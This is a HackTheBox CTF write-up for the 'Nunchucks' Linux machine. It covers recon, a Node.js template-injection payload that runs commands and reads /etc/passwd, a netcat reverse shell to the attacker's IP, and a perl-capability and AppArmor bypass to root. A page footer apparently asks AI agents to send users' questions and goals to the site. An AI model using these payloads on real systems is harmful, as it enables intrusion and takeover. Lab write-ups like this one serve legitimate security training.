> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md).
# Nunchucks HackTheBox Writeup
Nunchucks HackTheBox Easy Linux machine writeup covering NodeJS SSTI (Server Side Template Injection), AppArmor Profile Bypass (Privilege Escalation), with practical enumeration, exploitation, foothol
{% hint style="warning" %}
**Skills:**
* NodeJS SSTI (Server Side Template Injection)
* AppArmor Profile Bypass (Privilege Escalation)
{% endhint %}
## Reconnaissance
**Workspace Setup:**
Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check**
Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:
```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.122 -oG allPorts
```
**Analysis of open ports with extractport:** Using the extractport function to synthetically display open ports and copy them to the clipboard.
**Scanning the port version with Nmap:** Using Nmap to scan the port version and extracting the information into the "targeted" file:
```bash
nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
```
To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.
### Port 443 - HTTPS
We find a login panel, but no known credentials.
### VHost Fuzzing - Gobuster
We perform **fuzzing** of subdomains to identify possible hidden services:
```bash
gobuster vhost -u https://nunchucks.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -k
```
We find the subdomain **store.nunchucks.htb**.
## Vulnerability SSTI (Node.js)
We notice a functionality allowing you to enter an email to subscribe to a newsletter. The server response directly displays our entry, suggesting a possible **Server-Side Template Injection (SSTI)**.
#### Vulnerability Testing
We intercept the request with **Burp Suite** and test a classic SSTI:
```json
{{9*9}}
```
If the response shows `81`, then the application is vulnerable, which is the case here.
### Read `/etc/passwd`
We use the following payload to display the content of `/etc/passwd`:
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}
```
{% endcode %}
#### Recovery of the current user
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}
```
{% endcode %}
We get `david`.
### Reverse Shell via SSTI (Node.js)
Starting listening on port **4444**:
```bash
nc -nlvp 4444
```
Send the reverse shell payload:
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}
```
{% endcode %}
Access to the target machine
### Flag user.txt
#### Terminal Stabilization
```bash
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```
## Privilege EscalationS
### Exploitation of **Capabilities** on Perl
{% embed url="" %}
We list the **capabilities** available:
```bash
getcap -r / 2>/dev/null
```
We notice that `perl` has special permissions.
**Executing a command as root**
```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
```
We get **root**.
### AppArmor Bypass
```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'
```
The `/usr/bin/perl` binary is restricted by **AppArmor**
Exploit a known [AppArmor bug](https://bugs.launchpad.net/apparmor/+bug/1911431) to bypass the restriction by creating a script:
```basic
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
```
### Flaf root.txt :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)